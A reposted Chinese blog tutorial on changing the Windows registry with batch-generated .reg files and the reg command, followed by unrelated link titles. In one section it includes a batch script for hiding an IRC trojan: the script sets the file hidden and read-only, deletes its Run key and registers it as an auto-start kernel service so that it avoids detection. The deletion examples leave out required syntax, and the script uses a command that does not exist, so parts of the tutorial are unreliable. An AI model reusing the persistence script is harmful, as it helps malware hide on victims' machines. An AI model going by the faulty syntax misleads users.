批处理修改注册表

Posted 风清扬001

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了批处理修改注册表相关的知识,希望对你有一定的参考价值。

一,批处理生成.Reg文件操作注册表 
  用批处理中的重定向符号可以轻松地生成.reg文件。然后用命令执行.reg文件即可! 
  这里,着重要了解.reg文件操作注册表的方法。 
  首先.reg文件首行必须是:Windows Registry Editor Version 5.00。然后才是操作注册表的内容。 
  (就和从注册表中导出的文件格式一致) 

  1,创建子项 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 

  

  在HKEY_LOCAL_MACHINE\SOFTWARE\下创建了一个名字为“TTT”的子项。 

  2,创建一个项目名称 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"Name"="TTT BLOG" 
"EMail"="[email protected]" 
"URL"="http://www.taoyoyo.net/ttt/" 
"Type"=dword:02 

  这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\TTT]下新建了:Name、EMail、 URL、Type这四个项目 
  Name、Email、URL的类型是“String Value” 
  Type的类型是“DWORD Value” 

  (附:windows注册表值类型: 
  REG_SZ 字符串值 
  REG_BINARY 二进制值 
  REG_DWORD DWORD值 
  REG_MULTI_SZ 多字符串值 
  REG_EXPAND_SZ 可扩充字符串值) 

  3,修改键值 
  修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。就象新建一样即可。可以一次修改同一子项下的多个项目。 

  4,删除项目名称 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
"EMail"=

    执行该脚本,"EMail"就被删除了; 


  5,删除子项 

Windows Registry Editor Version 5.00 
[HKEY_LOCAL_MACHINE\SOFTWARE\TTT] 
[HKEY_LOCAL_MACHINE\SOFTWARE\DDD] 

    执行该脚本,子项ttt和ddd就已经被删除了。 


  6,.reg文件执行方法 
  1)直接执行reg文件 
  2)regedit /s *.reg (/s不用确认) 
  3)reg import *.reg 

  7,其实,我们也可以用dll文件代替reg文件。 

  批处理例1: 

@echo off 
echo Windows Registry Editor Version 5.00 >t1.reg 
echo. 
echo [HKEY_LOCAL_MACHINE\SOFTWARE\TTT] >>t1.reg 
echo "Name"="TTT BLOG" >>t1.reg 
echo "EMail"="[email protected]" >>t1.reg 
echo "URL"="http://www.taoyoyo.net/ttt/" >>t1.reg 
echo "Type"=dword:02 >>t1.reg 
regedit /s t1.reg 
del /q t1.reg 
pause 

  

  批处理2:(这个例子是别人的,不是很懂的说~~) 
  我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启 动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例 (名为windrv32.exe) 

@start windrv32.exe 
@attrib +h +r windrv32.exe 
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll 
@echo "windsnx "=- >>patch.dll 
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe 
@regedit /s patch.dll 
@delete patch.dll 
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动] 
@REM 这样不是更安全^_^. 

  

  二,reg命令操作注册表 

  Reg命令是Windows提供的一下专门操作注册表的工具。可以方便的查询,添加,删除,导入,导出,比较等操作。具体可以参考系统自带的帮助…… 

REG Operation [参数列表] 
Operation [ QUERY | ADD | DELETE | COPY | 
SAVE | LOAD | UNLOAD | RESTORE | 
COMPARE | EXPORT | IMPORT ] 

  1,查询所有子项和值 
   

D:\>reg query hklm\software\TTT 
! REG.EXE VERSION 3.0 
HKEY_LOCAL_MACHINE\software\TTT 
Name REG_SZ TTT BLOG 
EMail REG_SZ [email protected] 
URL REG_SZ http://www.taoyoyo.net/ttt/ 
Type REG_DWORD 0x2 

    2,查询特定项 

 

D:\>reg query hklm\software\ttt /v url 
! REG.EXE VERSION 3.0 
HKEY_LOCAL_MACHINE\software\ttt 
url REG_SZ http://www.taoyoyo.net/ttt/ 

    这里最难的是如何取得我们想要的字符串呢,困惑了好长时间,终于找到方法了。 

  原来也没有别的好办法,只能用find,for循环来截取我们需要的内容。(下面的例子如果看不懂,请参考本博客另外的文章:DOS循环-bat/批处理for命令详解之二) 
  例如我们要得到url的键值: http://www.taoyoyo.net/ttt/,可以用以下脚本: 

@ECHO OFF 
for /f "tokens=1,2,3,4,*" %%i in (‘reg query "HKEY_LOCAL_MACHINE\software\ttt" ^| find /i "URL"‘) do SET "pURL=%%k" 
echo TTT BLOG的URL值为:%pURL% 

  

  保存为Test.bat,运行结果如下: 
D:\>test.bat 
TTT BLOG的URL值为:http://www.taoyoyo.net/ttt/ 

  原文出自:http://www.jb51.net/article/30077.htm

以上是关于批处理修改注册表的主要内容,如果未能解决你的问题,请参考以下文章

音频处理Melodyne 选择工具使用 ( 主工具简介 | 修改音高 | 自动吸附 | 音符长度修改 | 长度自动吸附 | 设置音符分离线 | 设置片段分离线 )

音频处理Melodyne 网络缩放功能 ( 音符分离线 | 片段分离线 | 窗口滚动条 | 网格缩放 | 修改图像显示位置 | 显示五线谱 )

《java精品毕设》基于javaweb宠物领养平台管理系统(源码+毕设论文+sql):主要实现:个人中心,信息修改,填写领养信息,交流论坛,新闻,寄养信息,公告,宠物领养信息,我的寄养信息等(代码片段

如何用批处理修改注册表的权限呢?

活动与片段实施

批处理修改注册表